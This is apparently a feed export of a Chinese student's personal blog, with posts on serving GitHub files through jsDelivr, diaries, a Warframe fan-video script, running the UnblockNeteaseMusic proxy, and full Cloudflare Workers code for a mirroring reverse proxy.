你需要登录你的Github,创建一个你想用来放文件的仓库,然后在这个仓库里面上传你的文件,像我这样

上传文件后的仓库

然后点击Release,新建一个版本,在上面的小方框里面填写你的版本号,尽量填写数字,例如1.0之类的,不要用中文!!!

新建Release

接着直接调用jsDelivr,例如我在名为Picture-repo的仓库发布了1.0版本,那么我访问链接:

https://cdn.bili33.top/gh/Vikutorika/assets@master/AboutMe/logo-mini.png

就可以直接调用我的头像,按照官方的格式,就是

https://cdn.jsdelivr.net/gh/<username>/<repo-name>@<version>/<path>

的样子,解释一下:

<username>就改成自己的名字,<repo-name>改成自己的仓库名字,<version>就是你的release版本,如果不填会自动选择最新的release<path>改成自己的文件路径。当我上传的时候我的文件夹路径是.\folder\example.png的话,那么<path>就要改成folder/example.png

但是请注意!当你的release包大于50MB,那么jsdelivr会给你报错并且不给你提供加速服务,例如下面这条链接:

https://cdn.jsdelivr.net/gh/NotFoundNEKKO/Storage@1.0/表情包/真叫人质壁分离.jpg

点开就会发现提示:

Package size exceeded the configured limit of 50 MB. Try https://github.com/NotFoundNEKKO/Storage/tree/1.0/表情包/真叫人质壁分离.jpg instead.

所以说还是要尽量减少自己每个release的大小,如果说太大了建议分成几个仓库放哦~

从群友那里学来的:当你的版本号写为master时,只需要第一次发布release即可,后面直接用master分支的文件,也没有50MB的文件包大小限制


2020.4.5 更新:Github Page法

根据评论区@Anonymous的回复,发现有另外一种方式也能够访问Github中的文件(而且还是raw)

我们还是以上面那个仓库为例子,先到仓库中的设置,打开Github Pages服务

打开Github Pages服务

然后我们可以看到Github将我的这个仓库的page服务部署到了https://bili33.top/Picture-repo/这个链接

我们尝试访问仓库中的文件

在这里我访问的是我的网站头图↓

网站头图(以Page方式加载)

可以看到,的确是可以进行访问的。而如果在Github Pages服务中开启自定义域名的话,还能够配合CloudFlare的CDN进行一波加(jian)


题外话:

但是还是有人要直接访问raw.githubusercontent.com域名,所以我在这里开放出我的反代

当你访问了域名为raw.githubusercontent.com的文件后(后面应该有一大串的文件路径链接),把它改成下面任意一个域名

反代1:cdn.bili33.top(每日请求上限较少,因为我的反代都在这里)

反代2:bilicdn.tk(推荐)

希望能够帮到大家吧~

]]>
+ + + + + Software + + + + + + + Software + + CDN + + jsdelivr + + + +
+ + + + + 日常吐槽04 + + /posts/diary4/ + +

最近甚是无聊,因为做完了作业又不能出门(这都要从一只蝙蝠说起……),天天在家里打命(tu)运(ming)2,在家里躺着都算给国家做贡献……也没干什么技术活,就还是来吐槽一下吧

首先先感谢2019-ncov送来的寒假延长消息,让我们的寒假至少延迟到了2020.2.17(原来是9号回校,10号正式开学),也让我肝土命2的时间变多了(这赛季等级莫不是要冲100,正因如此,周末双休可能就要变成单休了,而且准高三的暑假估计要被阉割掉了)。因为病毒的影响,导致人人不能出门,出门必戴口罩。因为口罩太畅销了,有些地方的口罩纷纷涨价。涨价一点点能接受对吧,但是我看到我们班上有人20买个医用口罩,真心贵……(强烈斥责坐地起价的行为)昨天早上还去排队买口罩,凭身份证一人买五个5¥,买完了还去别的地方看看有没有口罩买,最后十一点半回到家……

既然学校延迟开学,那也不能闲着,让学生开始用起了钉钉,想着用钉钉的会议模式上课(什么脑洞……)钉钉的商店评分骤降(XSWL),这算是躺枪_(:з」∠)_吧……但是也让钉钉首次超过微信拿到了iOS榜单第一(嘿嘿)

最近特别喜欢用twitter(我也不知道为什么,我的Twitter@GamerNoTitle),天天早上就打开手机看推,然后看到@PlayWarframe(WARFRAME官方账号)关注了@Bungie(命运2开发商)和@Destiny2(命运2官方账号),这两家公司莫非有啥关系???(不过话说是同一题材的游戏撒)

15天前,我在Valine-Admin的仓库发布了issue#75,主要是邮件的发送上的问题,直到今天,终于有人回复我啦^v^,感谢大佬**@tnrzy**帮我解决了邮件发送的问题*v*

前几天还是在刷Twitter的时候,想去Soundcloud上听大佬的歌曲,然后发现国内访问不了Soundcloud,而且用cloudflare反代也不行,我就只能翻墙上soundcloud了。话说到底为啥soundcloud不能在国内用???


近期想做的事情:

1、想玩VR!!!想玩Beat Saber!!!(没有VR的人哭了)

2、趁着现在闲,想继续学一下C++和Python(目前只会基础撒)

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作 + + /posts/diary3/ + +

近期做了一个视频:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

WARFRAME COINCIDANCE

什么?你说你还没有看?赶紧点开上面的蓝链前往B站查看!!!

哔哩哔哩播放:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

YouTube播放:这是[bilibili@GamerNoTitle](https://space.bilibili.com/44666814)(也就是我自己)和[bilibili@ThisNEKKO_xd](https://space.bilibili.com/49835313/)、[bilibili@MI-rice-json](https://space.bilibili.com/22267745/)和[bilibili@毁天灭地的GEnX](https://space.bilibili.com/49914186/)四人一起合作完成的视频,这算是2019(农历)的最后一个视频,也是第一个视频。至于这个发布日期也是特意挑的,因为是我农历生日……

一开始想做这个是因为看到了这个【命运2 抖肩舞】再来亿遍!打游戏不如跳舞!每天一遍,防止抑郁~命运2版Coincidance 自制

没错,就是命(tu)运(ming)2版的Coincidance。其实这个视频我是在期末考试最后一天的中午在宿舍里面看的,因为我们的考试安排是这样的(如下表,忘了具体日期了,本人选科是全理科)↓

日期场次科目时间
第一天1语文7:40~10:10
第一天2物理10:30~11:45
第一天3政治(不考)14:30~15:45
第二天1数学8:00~10:00
第二天2生物10:20~11:45
第二天3地理(不考)14:30~15:45
第三天1英语8:00~10:00
第三天2化学10:20~11:45
第三天3历史(不考)14:30~15:45

也就是在第三天的中午,反正下午也不考试,我就掏出了手机,打开了B站,开始看了一中午的视频(在这天之前我从未掏出过手机!),然后就看到了这个视频。

这个视频也是我的各个好友不断分享,然后在前天(2020.1.20)的晚上,我突然想到“为啥我们不做一个自己的COINCIDANCE”?用WARFRAME来做呢?(因为WARFRAME较完善的动作系统)

给我也整一个 MOD

然后我就在群里面找人,讲真,我身边加上我玩WARFRAME的人(就是身边的,不算上沙雕群友们)就只有4个人,而且WARFRAME刚好也是一个队伍最多4个人(这里我就要吐槽了,为什么不能像土命一样一个队伍6个人,这样更快乐,即使有5人小队BUG,但是不如土命2快乐),我们就相约第二天九点上线动工。

到了早上8点50分,我的手机闹铃就响了,是标准的Pixel音效 是在催促我起床了,我就赶紧起床,然后打开了WARFRAME。幸好我已经提前更新完了,要不都不知道要等多久。我打开了前一天晚上与@ThisNEKKO_xd一起讨论修改的脚本打开,然后CALL上小队成员,进入Chaptcha(好像是这么叫的)摄影棚开始拍摄。

(下面先放出脚本)


KIKI:Gamer.bili

ChuChu: Notfound404.

摄像机?(中间的人):GodGenx

机动:UBIthepotato

第一幕:KIKI

KIKI走路(第一个仓鼠叫做kiki)

KIKI拍绝路(她手上的是8极化绝路 – 截图)

机动&中间的人(不要和后面用一个甲)拳击(动作:洞悉武式)(她的车队喜拳击)

KIKI跳舞(但KIKI喜欢跳舞)

第二幕:ChooChoo

ChooChoo三弦琴(第二只仓鼠叫做ChooChoo,是一只??的仓鼠)

ChooChoo子弹跳×2(她喜欢解救受难仓鼠,但更喜欢跳舞)

ChooChoo跳舞

第三幕:

KIKI子弹跳×1,走动 ChooChoo三弦琴(她们踏上了旅程)

飞船(去到各个星球)

KIKI&ChooChoo处决&砍怪(分开)(她们听从莲妈,成为了Tenno强盗)

第四幕:

KIKI中继站子弹跳(她们跑遍了宇宙)

ChooChoo&NPC深鞠躬(遇到了许多的人)

七字真言弹出登录界面(无论是否有七字真言,她们都在跳舞)

KIKI跳舞

ChooChoo跳舞

KIKI在NPC面前跳舞

第五幕:摄影棚中继站

四人加载界面&四人进去不要动(一天她们到达了,宇宙的某个中继站)(加Hydroid中继站大字)

中间黑咖喱显赫刀剑疯狂长按E(她们俩肩并肩跳舞引来了其他仓鼠的围观)

KIKI&ChooChoo转身(她们转身面对面)

Kiki&ChooChoo跳舞(一切就在这巧合发生了)

KIKI鼓掌ChooChoo跳舞(Wow,跳的不错嘛)

KIKI跳舞ChooChoo鼓掌(Wow,你也不错嘛)

(He went dongdongdong, he went dongdongdong,They said we both been dance all this time)

KIKI&ChooChoo转向镜头(同时)(What coincidance)

Kiki&ChooChoo跳舞

▲注意一定要看下面

三个人(kiki&ChooChoo&机动)

Kiki左 机动中 ChooChoo右

1、 kiki&ChooChoo跳

2、 三人跳

3、 机动跳

4、 三人跳

第六幕:多场景

1、(场景无所谓)两人跳(从此她们一起跳舞)

2、(塞防图)上下两人跳(在这之前没人像她们一样)

3、(去希图斯)四人跳舞步可不统一(整个小队都在跳舞)

4、(夜灵平野三傻面前)四人跳舞(没有人去欺负三傻)

5、(放大KIKI)(KIKI停下面对镜头)(NO MORE)

6、(金星平原蜘蛛前面)四人跳(整个小队一起跳舞跳到了金星平原)

第七幕:

Kiki&ChooChoo同时跳(这都是因为两人的相遇,What a coincidence!)

很多镜头&甲用于快闪 都是单独舞步跳两个轮回

机动 指挥家武式(Lets dance)

第八幕:

1、 (KIKI左 机动中(靠后) ChooChoo右)KIKI&ChooChoo跳

2、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

3、 (KIKI左 机动中(靠后) ChooChoo右)三人跳

4、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

5、 (KIKI左 机动中(并排) ChooChoo右)三人跳

6、 (KIKI)KIKI跳

7、 (ChooChoo)ChooChoo跳

8、 (机动)

9、 (机动)蚀之武式

10、(机动&摄影)

11、KIKI跳 机动左侧鼓掌

12、ChooChoo跳 机动右侧鼓掌

13、KIKI跳

14、全队跳

—END—

制作者名单


对比起视频,讲真,有些镜头我们并没有拍。但是拍摄过程中,同一素材我们拍摄了多次,而且也在刷突击的时候顺带拍摄了某些素材,拍摄时长算下来一个小时多一点,效率还是挺高的。

然后就到了最难的时候了——传素材。我们是四个人分别录制了素材,土豆(这里指@MI-rice-json,因为WARFRAME的ID叫做UBI.the.potato故称作土豆)的电脑比较渣,录了一小段,总共1.46GB,直接使用奶牛快传传给了我;笨猫(此处指@ThisNEKKO_xd)录了总共2.54GB素材,因为人就在我旁边,所以直接用我的SSD拷贝过来;最难的是@GEnX的素材,他的电脑被我们称为“全队最好的电脑”,大部分素材都是他那里录制出来的,总共有29个G,这可难了,QQ最大传输文件和奶牛快传最大传输大小都为4个G,我就想到用压缩的方式,把文件分成N个4095MB(4GB=4096MB)的压缩包分段,然后一个一个传。@GEnX的龟速上行网络最高只有2.5MB/s的传输速度,所以无论我的下载速度多快也突破不了这2.5MB/s的上限,没办法,只能慢慢传了。8个文件,5个用QQ传输,3个用奶牛快传,总计传输了5个多小时。。。

终于传完素材了!可以开始剪辑啦!我满心欢喜地打开了我的PR,问题又来了!我的PR,它,它,它居然——闪退!!!因为我安装的是Adobe Premiere Pro 2020,上网查了以后发现,没有CC(Adobe Creative Cloud)是运行不了的,我就只能被迫下了一个CC(太难了),开始了剪辑

剪辑花费时长大概两个小时,因为素材拖进PR里面以后,PR会自动开始生成视频的峰值文件,这就吃了我很大一部分的CPU,只能顶着100%的CPU剪辑,剪辑了两个半小时(期间包括我上大字幕和@ThisNEKKO_xd上下面的字幕),终于完成了~

然后我就开始上传,编辑稿件,选择投稿日期->2020.1.22 09:00(因为这天刚好是我农历生日,我家生日算农历),然后提交了稿件,关上了电脑。

出场的仓鼠们如下(以下为WARFRAME ID):
音乐甲 & NOVA PRIME @Gamer.bili
瓦喵 PRIME & 电男 PRIME @NotFound404.
黑咖喱 & ASH PRIME & 指挥官 @UBI.the.potato
女枪PRIME & (潜行)指挥官 @GODGEnX
制作者名单:
导演 @Gamer.bili
剧本 @Gamer.bili @NotFound404.
拍摄 @GODGEnX @NotFound404. @Gamer.bili
剪辑 @Gamer.bili @NotFound404.
字幕 @NotFound404.

现在我写这一篇文章,应该是算作留个纪念吧,毕竟,这个视频做起来也不容易。。。

喜欢我的视频,请长按点赞键支持我哦~虽然我只是一只比白咕咕还要会咕咕咕的鸽子~

白咕咕

2020.1.22

GamerNoTitle

]]>
+ + + + + diary + + + + + + + diary + + Game + + Warframe + + + +
+ + + + + 网易云音乐去除版权限制(Nodejs) + + /posts/Unblock163Music/ + +

2020.3.23重制

今天拿网易云开刀~

网易云音乐一直是我们使用得比较频繁的音乐平台,可是他的版权问题实在是令人发寒,每次搜索音乐就看着灰色的歌名失望。。。而隔壁的扣扣音乐就什么都有
灰色的网易云音乐

这种情况真的很烦,点开一首歌直接告诉你因版权无法播放,这时候我们就需要脚本登场了
脚本由@nondanee编写,原理是将其他音乐网站的链接替换到网易云,所以并不存在破解网易云音乐的软件,与法律并不矛盾。
源代码可以点@nondanee/UnblockNeteaseMusic,在使用之前,需要安装nodejs环境

1
$ git clone https://github.com/nondanee/UnblockNeteaseMusic.git

克隆代码后,在文件夹里启动命令窗口,输入

1
$ npx @nondanee/unblockneteasemusic

就可以打开程序了,如果提示npx未找到,请先使用

1
$ npm install npx -g

来安装npx哦~

启动了以后,在你的网易云音乐里面修改代理,按照你的配置填写即可!

代理修改


题外话:

最近Github的地址raw.githubusercontent.com好像被墙了?不能直接在Github网站中下载RAW文件,很烦

CloudFlare的Workers最近也是BUG一大堆,总是给我抛出1101错误,先不搭建新的反代了……

本网站的邮件提醒已经搭建好了,以后留言就有邮件了~

]]>
+ + + + + Software + + + + + + + Software + + Netease + + + +
+ + + + + Cloudflare Workers反代实战(下) + + /posts/Cloudflare-Workers-Section2/ + +

上篇说道:
我们已经成功搭建了Workers的反代服务,但是有的时候我们需要绑定自己的域名来访问该网页,那么本篇我们将来讲一讲怎么绑定自己的域名来访问workers
我们先来到我们的域名管理界面,点开自己的任意一个域名,然后点击上面的workers
workers-in-domain
在本界面中,上面的两个按钮点击Add Route
Workers-Panel
然后在上面填写你想要的域名(当然得是你的域名),格式如<SubDoamin>.<Domain>/*,下面选择你创建好的Workers配置,例如我在上面填写g.bili33.top/*,然后下面选择我的名字叫做”g”的Workers配置文件(用于反代Google),然后点击保存,这样就成功添加了route,当然这个时候并不是直接访问就可以访问被反代的网站,而是要进行进一步配置~

回到我们的域名DNS解析界面,添加一个CNAME记录,指向我们的Workers,在这之中,Proxy Status一定要设定为Proxied!下面照样给个例子

TypeNameTargetTTLProxy
CNAMEgg.bili33.workers.devAuto

然后添加进入DNS解析,这时候我们再访问自己的域名(在这里是g.bili33.top),然后就发现我们进入了自己反代的网站

当然这也有一定的缺点:

1、因为Redirect URL与api不一致,所以反代出来的网站一般无法登陆

2、使用了Google Recaptcha之类的验证码用于网站保护的网站可能会因为Redirect URL不一致而导致无法访问(如Google自带的Recaptcha保护机制将导致无法进行搜索,这种情况下更换被反代的Google地区即可)


2020.3.14 更新

今天给我的博客上SSL,然后临时把CloudFlare自带的SSL关掉了,代理Google旗下网站出现了重定向次数过多的问题,把SSL调回Flexible就可以了,目前只发现Google旗下产品会出现此问题,其他暂未发现


题外话:

网站终于又开始更新啦!小高考考得个人感觉还不错,二月份出成绩*V*,六月份还有物理和政治的……

@TheBaiRuo的公网IP被墙了,需要备案,所以他的网站进不去,确实是有点惨吼,Github Pages它不香吗?

另外,在Cloudflare的workers调试界面有可能会出现500的错误码,忽略就好,实际上部署后是可以访问的(除非cloudflare分配给你的服务器炸了)

]]>
+ + + + + Software + + + + + + + Software + + Cloudflare + + JSProxy + + + +
+ + + + + 日常吐槽02 + + /posts/diary2/ + +

今天是周日,还要考试,哭了。。。

本周二是学校的研学活动,但是说不给带手机给带相机,对我倒是没什么所谓啦(原因在下面),但是学校有没有考虑过有些人家里莫得相机啊?

周三晚上校运会开幕式,有我们至今为止最庞大的直播阵容:

直播及录像机:我的Lenovo不知道是什么鬼型号,反正i7 7700k够用了,加个16G运存,用NDI采集导播机的画面
导播机:梅导的新电脑,用的9900k还有32G运存,我觉得用vmix莫得问题,用NDI传输画面给我的电脑中的OBS
(PS:我们是vMix导播切镜头,我的OBS来直播+录像)
字幕机:梅导以前的电脑,用的6700k
采集机(4台):采集四个相机/无人机的实时画面,利用NDI传输到导播机
相信这一次我们能够避免上次的马赛克
由于导播,所以我们一定要使用手机,所以上面才说没什么所谓~

准备退休啦~

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 日常吐槽01 + + /posts/diary1/ + +

想开一个日常吐槽分区,除了技术(汗?)文还可以发一发平常的感受~

期中考考完啦!!!开心~

但是数学考得不很好,反正就是不很好(自闭中)

本周遇到了wordpress会出现429错误的问题,貌似被墙了,果断搭建一个代理站,但是wordpress的链接不是相对链接,是绝对链接,所以要下载wordpress要手动把原来的域名改成我的域名

点我下载wordpress最新版~(zip)

点我下载wordpress最新版~(tar.gz)

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + Cloudflare Workers反代实战(上) + + /posts/CloudFlare-Workers-Section1/ + +

CloudFlare一直以其域名托管服务和CDN服务闻名于各位网站管理员,当然我的域名也是托管在这个上面的,后来,有一位被我介绍入CF的同志告诉我CF有种功能。。。(@TheBaiRuo

就是CF的Workers服务,这是一种能够访问网页时运行特定的JS脚本的服务,所以我们就可以利用它进行 JSPROXY Workers-Proxy(感谢@Anonymous的提醒)的搭建(某反向代理)

前期准备

1、一个CloudFlare账号

2、一个域名(可以到Freenom注册一个)

搭建反向代理

在这之前,你需要把你的域名托管到CF上!!!

然后进入CF的workers界面,看下图

Workers

进入到Workers后,点击Create a Worker来创建你的第一个JS

Create a Worker

然后在workers界面的左边,填入你的JS代码,这时候就需要万能反代代码QAQ

Worker Editor

解释一下这个界面:

①项目名称:表现为**[Project].[subdomain].workers.dev**,其中subdomain是你注册workers是输入的名字,project就是项目名称

②编辑区:就是你放下代码的地方

③效果预览区:当你按下运行按钮的时候展现出来的效果

④运行:顾名思义,运行嘛,然后在右边看得到

⑤保存并部署:部署该项目

将下面的代码放到你的编辑区中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 替换成你想镜像的站点
const upstream = 'example.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'example.com'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

//以下内容都不用动
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

然后点击运行,就可以反代你需要的网站啦,但是注意,有些网站是无法进行反代的,例如twitter之类的,而且如果原来的网站具有登陆功能,那么这些登陆功能是无法使用的!!!

加密版(来自旧版文章评论区@Hostloc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
// 替换成你想镜像的站点
const upstream = 'google.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'm.google.com'

// 密码访问

const openAuth = false
const username = 'username'
const password = 'password'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

function unauthorized() {
return new Response('Unauthorized', {
headers: {
'WWW-Authenticate': 'Basic realm="goindex"',
'Access-Control-Allow-Origin': '*'
},
status: 401
});
}

function parseBasicAuth(auth) {
try {
return atob(auth.split(' ').pop()).split(':');
} catch (e) {
return [];
}
}

function doBasicAuth(request) {
const auth = request.headers.get('Authorization');

if (!auth || !/^Basic [A-Za-z0-9._~+/-]+=*$/i.test(auth)) {
return false;
}

const [user, pass] = parseBasicAuth(auth);
return user === username && pass === password;
}


async function fetchAndApply(request) {
if (request.method === 'OPTIONS') // allow preflight request
return new Response('', {
status: 200,
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Methods': 'GET, POST, PUT, HEAD, OPTIONS'
}
});

if (openAuth && !doBasicAuth(request)) {
return unauthorized();
}
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request).catch(err => {
console.error(err);
new Response(JSON.stringify(err.stack), {
status: 500,
headers: {
'Content-Type': 'application/json'
}
});
}));
})


async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

下篇:Cloudflare Workers绑定自定义域名进行访问

这就是JSPROXY的反代啦,祝各位成功呀!
题外话:

下周要考试了,我好方,怎么办

我已经用此方法部署了Google镜像站、Google学术镜像站、wiki镜像站,可以在我的友链界面找到哦~

]]>
+ + + + + Software + + + + + + + Software + + Cloudflare + + JSProxy + + + +
+ + + + + 白嫖党教你白嫖Cloudflare Workers反代~ + + /posts/CloudFlare-Workers/ + +

注:本页面为旧版本备份,新版本请点我!

CloudFlare一直以其域名托管服务和CDN服务闻名于各位网站管理员,当然我的域名也是托管在这个上面的,后来,有一位被我介绍入CF的同志告诉我CF有种功能。。。(@TheBaiRuo

就是CF的Workers服务,这是一种能够访问网页时运行特定的JS脚本的服务,所以我们就可以利用它进行 JSPROXY Workers-Proxy(感谢@Anonymous的提醒)的搭建(某反向代理)

前期准备

1、一个CloudFlare账号

2、一个域名(可以到Freenom注册一个)

搭建反向代理

在这之前,你需要把你的域名托管到CF上!!!

然后进入CF的workers界面,看下图

Workers

进入到Workers后,点击Create a Worker来创建你的第一个JS

Create a Worker

然后在workers界面的左边,填入你的JS代码,这时候就需要万能反代代码QAQ

Worker Editor

解释一下这个界面:

①项目名称:表现为**[Project].[subdomain].workers.dev**,其中subdomain是你注册workers是输入的名字,project就是项目名称

②编辑区:就是你放下代码的地方

③效果预览区:当你按下运行按钮的时候展现出来的效果

④运行:顾名思义,运行嘛,然后在右边看得到

⑤保存并部署:部署该项目

将下面的代码放到你的编辑区中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 替换成你想镜像的站点
const upstream = 'example.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'example.com'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

//以下内容都不用动
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

